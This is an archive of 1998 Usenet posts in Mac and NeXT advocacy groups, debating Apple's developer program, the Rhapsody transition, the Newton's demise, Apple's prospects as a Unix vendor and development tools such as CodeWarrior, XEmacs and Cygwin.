References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51> <ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net> <6h1r14$ui8$1@nnrp1.dejanews.com> <6h1rq7$os8$7@ns3.vrx.net> <ant161658313LJLo@om107.acorn.co.uk>
In article <ant161658313LJLo@om107.acorn.co.uk>, Dave Griffiths
<dgriffit@acorn.co.uk> wrote:
> In article <6h1rq7$os8$7@ns3.vrx.net>, Maury Markowitz
> <URL:mailto:maury@remove_this.istar.ca> wrote:
>
> > Uhhh, Enigma was German, Purple was Japanese. Breaking Purple was an
> > entirely US project AFAIK.
>
> Didn't work too well then did it.
>
> "Hey, the message says 'Oral herb bomb rap'. What the heck?"
>
> Anyway, we invented electricity. Fat lot of good your fancy computers
> would be without electricity.
>
LOL!
But I guess everything is owed to the Egyptians who "discovered" the sun
elsewise everyone all would be freezing in the dark. =)
Robb
> Dave
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 03:29:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdj4u.3u2.sal@panix3.panix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <1d7ly5b.1npyjr41v3wdwN@rhrz-isdn3-p4.rhrz.uni-bonn.de>
On Fri, 17 Apr 1998 02:14:42 +0200, Michael Schuerig <schuerig@acm.org> wrote:
>Salvatore Denaro <sal@panix3.panix.com> wrote:
>> I don't think the lack of seeds is *any* impediment to active development
>> of Applications.
>That may be the rub. Not everyone is developing applications :-O
...so not everyone needs seeds. And anyone who has a project that demands
that it work in the new OS can just go buy the $500 package and be done
with it. Heck, it might even be a tax write off you!
Rather than bitch an moan about this, do so about something worthwhile
like the fact that Apple is overdue for a pricecut on the G3 machines
and is *LOOONNNNGGGG* overdue on a sub $1k machine. Those are a lot more
important that $250 software seeds.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: help with OS and configuring
Date: 17 Apr 1998 03:31:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Distribution: inet
Message-ID: <slrn6jdj8h.3u2.sal@panix3.panix.com>
References: <01bd6662$376a8d80$43f0bfa8@davidsul> <353671BE.1464FBC3@forsee.tcp.co.uk>
On Thu, 16 Apr 1998 22:01:50 +0100, Robert Forsyth <bobbyf@forsee.tcp.co.uk> wrote:
>There is something call 'dots' that will print (PS) on inkjets for
>Nextstep/Openstep.
You can also use GhostScript to print .ps files.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton [was Re: Apple developer program]
Date: Thu, 16 Apr 1998 22:25:27 -0500
Organization: CE Software
Message-ID: <MPG.fa0879291c2e1d49898b7@news.supernews.com>
References: <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com> <3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net> <3534C720.3BACAC4@milestonerdl.com> <trev-1504981307100001@nas-sa-p7.usc.net> <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca>
In article <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca>,
ama@fabre.act.qc.ca says...
> > > But if you are thinking of jumping on the Rhapsody bandwagon, look at
> > how Apple
> > > treated the Newton Developers and ask yourself if you want to be treated that
> > > way.
> >
>
> It is true what Apple did to the Newton Project was not the best thing. I
> wonder if they had gone ahead in making Newton Inc. whether the Newton
> could have survived. The Newton was a great product, though it lost what
> it was trying to achieve: lost-cost PDA device. Instead it was becoming
> big (not even pocket sized) and expensive (more than $800).
>
The point that was made, that you may not have heard, was that only weeks
before Newton was killed, Jobs sent a message to the Newton developers
saying that not spinning the Newton out was a good thing and that Apple
was so confident of it and particularly the eMate and that life was
wonderful and keep the faith baby!
There are two scarey possibilities. (A) It was known at the time that
the Newton was dead, Job lied through his teeth, KNEW developers would
soon learn he lied through his teeth, but didn't care. (B) Within a
couple of weeks, Apple went from go-go-go on the Newton to tossing it out
with the dishwater.
I'm not sure which speaks worse for Apple management.
Donald
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 22:41:38 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1604982241380001@nas-sa-p6.usc.net>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com>
In article <slrn6jcsa9.lbp.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> XEmacs? Isn't that a lisp processor with a built-in web browser and other
> distracting features that kind of lets you use your command-line tools, but
> requires that you be running a local X session?
Yeah...it even has a built-in psychotherapist for people forced to use
it. :-) I actually like emacs quite a lot...all text-editors should
feature newsreading, web-browsing, e-mail and games in addition to
markup. They say you never have to leave emacs to do anything if you
don't want to.
And Lisp is a cool-looking language, but I'd want a keyboard with
standalone parentheses, or at least put 9 and 0 on the shift.
Trev
--
http://www.uscsu.sc.edu/~tzbaukni
trev@sc.eduEATMOSPAM (unmunge)
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 03:29:59 GMT
Organization: Digital Fix Development
Message-ID: <6h6ibn$dl5$1@news.digifix.com>
References: <6h5qpt$neu$3@news.xmission.com> <B15BE7A4-137E5A@207.217.155.43>
In-Reply-To: <B15BE7A4-137E5A@207.217.155.43>
On 04/16/98, "Brad Hutchings" wrote:
>Don Yacktman wrote:
>
>>Just because Scott hasn't been visible to _you_ until 16 months ago
>doesn't
>>mean he wasn't around for a long time before that. He's been a Mac
>developer
>>for longer than he's been a NeXT developer.
>
>I stand corrected. Seniority aside then, what's difficult to
understand
>about why Metrowerks is the established tools provider here?
I never claimed they weren't...
I stated (and you clearly demonstrated it for me) that
developers have a manical devotion to it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 03:27:26 GMT
Organization: Digital Fix Development
Message-ID: <6h6i6u$dl4$1@news.digifix.com>
References: <6h43mj$fr9$1@news.digifix.com> <B15B0A02-19BCA8@207.217.155.85>
In-Reply-To: <B15B0A02-19BCA8@207.217.155.85>
On 04/16/98, "Brad Hutchings" wrote:
>Scott Anguish wrote:
>
>> Apple's existing Mac OS developers have an almost manical
>>devotion to Metrowerks development environment.
>
>Scott- You've been around the Apple scene for 16 months now.
This is a joke Brad..
I developed professionally for the Macintosh from 1984-1994.
I abandoned the platform when GX was late again, PINK was a pipe-dream
and I got tired of having to re-invent the Graphics wheel all the
time.
I'm not going to get into a pissing contest with you, but
clearly you have no clue what my history is.
>If
>you haven't figured this one out, let me explain it for you.
>Metrowerks saved Apple's sorry butt during PPC transition. They
>literally came out of nowhere to save the company. The kludge of
>a compile/debug/test environment that Apple tried to push on
>developers in the early days of PPC could have easily led to its
>demise.
>
>Let me put it another way. If it hadn't been for Metrowerks during
>PPC transition, Apple wouldn't have been around to buy out NeXT.
>
>That aside, Metrowerks doesn't rest on its laurels. Each release
>of CodeWarrior is absolutely amazing to all of Metrowerks' customers.
Did I say otherwise?
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 17 Apr 1998 03:42:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdjt5.3u2.sal@panix3.panix.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu> <6h2lv1$fbp$1@ns3.vrx.net> <joe.ragosta-1504982003550001@elk35.dol.net>
On Wed, 15 Apr 1998 20:03:55 -0400, Joe Ragosta <joe.ragosta@dol.net> wrote:
>In article <6h2lv1$fbp$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>> The issue there is credibility as I see it. Apple simply isn't a Unix
>> vendor.
>Not today. But why can't that change?
1) Apple does not have any hardware that can compare to the high end
Sun E10 style hardware, or IBM's AIX Power2 hardware. And you can't just
scale up a G3 CHRP board to turn a machine into a big Unix server. Just
becasue a G3 can beat a Sun "Darwin" in SpecMark is not going to impress
anyone.
2) Apple does not have the support structure to handle that market. NeXT
did, but just barely.
3) Oracle, Informix, SAP, Sybase, PeopleSoft... None of those run on
Rhapsody and none have been annouced. (Oracle might be there, but they
have not officaly announced anything)
4) Backwards support for X11, SYSV, all the AIX, SGI and SunOS 4.x
and Solaris cruft is not there yet. It takes time and money to port code
over, and it better be worth it.
5) Apple has an image of making "toys" for people who know nothing
about computers.
>NeXTStep was very highly regarded. If Rhapsody retains its fundamental
>stability and power, Apple could quickly become a major player in this
----------------------------------^^^^^^^
>market.
True, if you define quickly to mean 3 to 5 years. :)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 17 Apr 1998 03:53:16 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdkhc.3u2.sal@panix3.panix.com>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu>
On 15 Apr 1998 20:24:13 GMT, Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
>SGI just announced today that part of their "recovery strategy" will be
>to transition away from their proprietary (and not very fast) MIPS
>architecture to Intel x86 and Merced. Merced is going to have significant
Can Apple convince SGI shops to move to Rhapsody rather than NT? Maybe.
They will need to have top rate OpenGL support (totaly lacking in Rhapsody
with *NO* annoucements on any support as of yet) And they will need to
sell QuickTime as more than just a toy for web movies.
>Sun has the lionshare of the workstation market, yet their high-end
>uniprocessor Sparc 10 systems are twice as much and not any faster than
>Apple's G3 offerings similarly configured. Solaris is a contender, but is
>in no way, shape, form, or manner an end-user OS. Solaris also runs on
Yes, and while they plug away at Java and NCs, X86 is killing them at the
low end.
Apple can not compare with Sun at the high end. If I need a 5000+ user
DB system and I need a server, what can Apple sell me? Now compare that
to HP, IBM, Sun and SGI offerings.
>SGI arguably has the best X Window manager of the bunch, though it is
4d is cool. They alsoe have DPS. And both of the SGI shops I've visited
had a lot of Macs kicking around. That could be the way they get exposed
to Rhapsody.
And Apple does not have *ANYTHING* that can match SGI on the high end.
>However things pan out, nothing happens overnight in the UNIX workstation
>market.
It would take 3 years (minimal) for Apple to be able to build anything
that could match the Sun/HP/IBM/SGI in high end servers. (IMNotSoHO)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 03:31:33 GMT
Organization: Digital Fix Development
Message-ID: <6h6iel$dod$1@news.digifix.com>
References: <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <35343A8F.FE507500@trilithon.com> <6h2rnv$sek$1@cronkite.cygnus.com> <6h40he$rgu$2@ha2.rdc1.sdca.home.com> <6h43mj$fr9$1@news.digifix.com> <01bd699e$57819020$3af0bfa8@davidsul>
In-Reply-To: <01bd699e$57819020$3af0bfa8@davidsul>
On 04/16/98, "NeXT Newbie" wrote:
>
>
>> Apple's deal with Metrowerks isn't anything like a deal with
>> Cygnus would be.
>>
>> Apple's existing Mac OS developers have an almost manical
>> devotion to Metrowerks development environment.
>
>That because before CW their was symantec.
And before them, TML, and before that the Lisa stuff... been
there, done all those..
>Cw was a major savior for mac
>developers. Metrowerks does things alot better than symantec and
really
>gave symantec a kick in the fanny.
>
>Codewarrior could be technologically better (note I am not saying its
not
>top notch), but support wise it is top notch.
>
I never criticized Codewarrior... I did point out that the
deal Apple has with Metrowerks isn't comparable to any deal they could
work out with Cygnus..
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 17 Apr 1998 03:42:18 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6h6j2q$91l$1@new-news.cc.brandeis.edu>
References: <35356BF6.F3856C5F@nstar.net> <6h4fmh$rom$2@ns3.vrx.net> <353655F6.E3A@CONVEX.COM>
In article <353655F6.E3A@CONVEX.COM> Michael Peck <ECK@CONVEX.COM> writes:
>Maury Markowitz wrote:
>
>> Ok. Do you think this is true in general?
>
>Yes.
>
>> No, I think that building a OpenStep - on - Linux would do a lot better
>> than the current project, regardless of the fact that I think from the
>> technical standpoint it's not terribly strong (I really do think OSF/1 is the
>> way to go).
>
>OSF/1... any particular reason for this?
OSF/1 is moot at this point.
But Linux... listen, repeat after me, Linux is the KERNEL, Linux is the
KERNEL. Linux is popular because it has lots of people working on
distributions that are easy to install and packages that are easy to
install like Red Hat, but that is Red Hat, not Linux! (Jeeze, I've never
seen a segment of the computer industry get itself so worked up over a
free UNIX-like OS just because its easier to install than the other free
UNIXes.) Rhapsody is already based on a BSD UNIX, they have ZERO
incentive to involve Linux over the *BSD family, especially since Linux is
GNU and GPLed. NPR decided to do a whole little report on how *wonderful*
Linux is, not mentioning the other free operating systems out there! So
frustrating.
(Reports are Apple has gotten permission to integrate the OpenBSD sources
already, btw.)
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: The Newton [was Re: Apple developer program]
Date: 17 Apr 1998 04:22:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdm7b.3u2.sal@panix3.panix.com>
References: <Pine.LNX.3.95.980416091640.2344C-100000@fabre.act.qc.ca> <B15BAA68-17DA9@206.165.43.169>
On 16 Apr 1998 12:26:00 -0700, Lawson English <english@primenet.com> wrote:
>That bid is pretty much dead in the water. Apparently, Apple has asked them
>to pay $50 million just to *license* the NewtonOS, not purchase it.
With the Newton teams gone, and most of the remaing ones sent to other
areas, could Apple even fulfill a request like that?
I'd be willing to give 5 to 1 odds that the Newt is dead forever.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 04:14:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdlpg.3u2.sal@panix3.panix.com>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com> <3536761E.59B2@CONVEX.COM>
On Thu, 16 Apr 1998 16:20:30 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
>Salvatore Denaro wrote:
>> XEmacs? Isn't that a lisp processor with a built-in web browser and other
>> distracting features that kind of lets you use your command-line tools, but
>> requires that you be running a local X session?
>No, no web browser, you have to get GNUscape Navigator for that
>(although, touche, you're partly right).
That's odd. Are you sure that there is no Emacs www client? I could
have sworn that I saw one.
>There's no such thing as a local X session. X is a client-server display
>protocol.
If it is running on my local machine, then it is a local session. No need
for word lawyering. (Just like a local VI session or my local keyboard...)
>That's interesting; by what mechanism do you access your CLI tools?
The "tools" submenu, "custimize" option. A dialog box pops up. Pick the
"tools" tab. Hack away.
> I
>have been trying to make Cygwin-32 work satisfactorily for me, but it's
>somewhat clumsy at best in a GUI that makes no apologies to the CLI.
Click on the window control menu, pick the "properties" option. Active
the "quickedit" and "insert" options. Also change that horrid default font,
and gize yourself about 200 lines of scrollback. It might not be as
pleasant as Terminal.App, but it isn't that bad.
>If I have to, basically, throw my entire GUI IDE into the background to
>get at my CLI tools, the "Integrated" in IDE no longer applies, now,
>does it?
Don't think you have too.
> By contrast, my entire X session is an IDE if I so choose.
So can the whole WinNT shell. Add icons to your desktop. Add options to the
start menu. Go nuts!
> No
>more complaints about "that's too hard for the average user" this time,
>we're talking about developers, now.
Developers bitch and moan as well.
>> I've also seen VC++ use Imake (ported to Win32 via Cygnus's GnuWin32
>> toolkit). It includes a CLI compiler, linker and make tool.
>Ah, well, you can always run Cygwin-32, of course, turning COMMAND.COM
------------------------------------------------------------^^^^^^^^^^^
>into little more than a vehicle for the POSIX-ized GNU shell
>environment. That's not really the same thing, either, and it's
>certainly not elegant, to say the least...
Should be CMD.EXE. And bash does not run *on* it, it runs on the NT
console services subsystem. No CMD.EXE required.
The console layer is one of those things in NT that gets a bad rep.
Don't think it is the same as running Bash on command.com, it isn't.
It is a Win32 app with a console UI rather than GDI32/USER32 UI. With
some minor hacking you can have a CLI app that draws to a GUI window,
and vice versa.
>> One of my coworkers has it set up for Perl development. VC's IDE is pretty
>> close to XEmacs or any other "open" IDE in its ablity to be tweaked to
>Yes, I know. But I'm finding that all of the cruft and crap soldered
>onto VC actually inhibits productivity. I like the minimalist++
>approach, rather than the Microsoft drill-down-from-the-kitchen-sink
Emacs is hardly minimalist.
>At any rate, if you have IDE-on-NT suggestions you'd like to share, I'm
>a sponge right now. I'd love to hear them.
Some folks here swear by codewrite (sp?)
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 17 Apr 1998 04:34:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdmtr.3u2.sal@panix3.panix.com>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6e6aqh.h78.sal@panix3.panix.com> <6cl3kc$95b$1@quasar.dimensional.com> <slrn6eufov.fme.sal@panix3.panix.com> <6cvpdo$cmu$7@quasar.dimensional.com> <slrn6f7cgk.lhl.sal@panix3.panix.com> <34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk> <6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk> <6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com> <6gumlt$4m9$1@quasar.dimensional.com>
On 14 Apr 1998 03:54:37 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>>>> their own version without owing NeXT (Apple) a cent, and the excellent folk
>>>> in the GNUstep project are doing just that...
>>>Because fortunetly, NeXT has no way to prevent GNUstep.
>> If OpenStep is proprietary, why can't Apple stop GNUstep?
>OpenSTep!? OpenStep is nothing more than a standard, which isn't propreitary.
I did not claim that it was.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 98 22:42:45 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15C39F3-35CBA@207.217.155.163>
References: <6h6i6u$dl4$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Scott wrote:
> Did I say otherwise?
Again, sorry for not knowing your Mac history. I don't want a pissing
contest either.
Maybe I misread your original post, but wasn't it something along the lines
of you not understanding why Mac developers have such an attachment to
Metrowerks?
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 17 Apr 1998 04:32:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jdmrc.3u2.sal@panix3.panix.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com> <slrn6igl3f.qlh.sal@panix3.panix.com> <6ggm4n$1kt$4@quasar.dimensional.com>
On 8 Apr 1998 20:19:35 GMT, Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
>Jobs used to te a "tech." In the "early days," it seems many of our CEO
>freinds weren't that bad. The early days (very early... the BASIC days) of
I don't think Jobs was ever a tech.
>Look at Jobs. Him and what's his fase :) sold their calculator to start
The other Steve was Wozniak (Sp?)
>>>> Go and find that article. If I clearly made it sound like distributed objects
>>>> are exclusive to Obj-C, I'll post an apology.
>>> Finding that article is too hard. You saying now that distributed objects,
>>> as an abstraction, aren't Objective-C exclusive, it's enough for me.
>> I never said otherwise. I have never claimed that DO are Obj-C only.
>> Go to http://www.dejanews.com/ and look up every time I've used that phrase.
>Ok, but you do the hard work. Find the thread where we were arguing
>distributed objects and Objective C, and I'll get you the quote from that.
>There are too many messages between you and I to track that thread down
>easily.
This is every time I've used the phrase "distributed objects"
http://search.dejanews.com/dnquery.xp?QRY=distributed+objects+sal%40panix.com&svcclass=dncurrent&DBS=1&defaultOp=AND&maxhits=20&ST=QS&format=terse&site=dn
and this is the "old" list
http://search.dejanews.com/dnquery.xp?QRY=distributed+objects+sal%40panix.com&svcclass=dnold&DBS=2&defaultOp=AND&maxhits=20&ST=QS&format=terse&site=dn
As you can see, I did not use that phrase until you made claims that I
lied about it.
I did post about PDO, and this is the URL for it
http://x4.dejanews.com/getdoc.xp?AN=312243574&CONTEXT=892787299.1704284&hitnum=0
I made it very clear that this was an Apple product, and I made no claim
that is was unique to Apple or to C++
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 05:00:25 GMT
Message-ID: <01bd69f7$fbc3e580$40f0bfa8@davidsul>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com>
Salvatore Denaro <sal@panix3.panix.com> wrote in article
<slrn6jcu7s.lbp.sal@panix3.panix.com>...
> On 16 Apr 1998 18:10:46 GMT, NeXT Newbie <macghod@concentric.net> wrote:
> >> But you've already been told:
> >> "Raymond was not a member of any Apple developer programs while
working
> >on
> >> Stuffit."
> >> [Andrew Welch, <andrew-1104980043110001@lgm.com>]
> >> so clearly this was not a major impediment...
>
> >True, its not a horrible impediment, its only a minor impediment.
> >But with people leaving the mac every day because of lack of software,
why
> >should Apple
> >put up a minor impediment for its developers???
>
> I don't think the lack of seeds is *any* impediment to active development
> of Applications.
Well, lets say I wanted to start developing apps for rhapsody RIGHT NOW.
Wouldnt it be a bit hard to develop them without Rhapsody? Even if one had
OPENSTEP 4.2 I would imagine it would be helpful to have rhapsody, dont you
think?
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: help with OS and configuring
Date: 17 Apr 1998 05:08:32 GMT
Distribution: inet
Message-ID: <01bd69f9$1e844500$40f0bfa8@davidsul>
References: <01bd6662$376a8d80$43f0bfa8@davidsul> <353671BE.1464FBC3@forsee.tcp.co.uk>
Robert Forsyth <bobbyf@forsee.tcp.co.uk> wrote in article
<353671BE.1464FBC3@forsee.tcp.co.uk>...
> There is something call 'dots' that will print (PS) on inkjets for
> Nextstep/Openstep.
>
> I am fairly sure Openstep can not use your 3D graphics card (not the 3d
> bit). If your video card is PCI, Configure.app will find it if it has a
> .config bundle/driver that supports it.
>
> If you start Openstep in verbose mode (-v to the boot: prompt) or in
> /usr/adm/messages you will see a list of PCI devices Openstep was able
> to find. If you do not know what chipset your video card uses, you/we
> may be able to work it out from the PCI vendor/device id, in the above
> list.
The card is a trident 975, at least thats what flashes during bios startup.
Since it uses a trident 975 I set it up with the only trident driver in OS,
trident generic. Plus, in configure.app their is a setting that says
something like "drivers for devices detected" and none are listed, so it
then switches to the other mode
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 05:19:16 GMT
Organization: MiscKit Development
Message-ID: <6h6ook$iph$1@news.xmission.com>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul> <slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul>
"NeXT Newbie" <macghod@concentric.net> wrote:
> Well, lets say I wanted to start developing apps for rhapsody RIGHT NOW.
> Wouldnt it be a bit hard to develop them without Rhapsody? Even if one had
> OPENSTEP 4.2 I would imagine it would be helpful to have rhapsody, dont you
> think?
Well, let's just say that (ahem, cough cough) _if_ I had machines running
both 4.2 and Rhapsody, I'd be doing my development on the 4.2 machine since
it would be running a release that, by its non-beta nature, would presumably
be more stable. I'd only be using Rhapsody to do QA testing. And I'd find
that I didn't have to change a single line of code to build the Rhapsody
version.
I can't tell you if this is actually the case because of an NDA I've signed
with Apple...but I think that those in the know will, for the most part,
agree and that those not in the know will either have to believe me now or
eat crow later. You choose.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 17 Apr 1998 01:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15C6235-28491@206.165.43.169>
References: <B15BE7A4-137E5A@207.217.155.43>
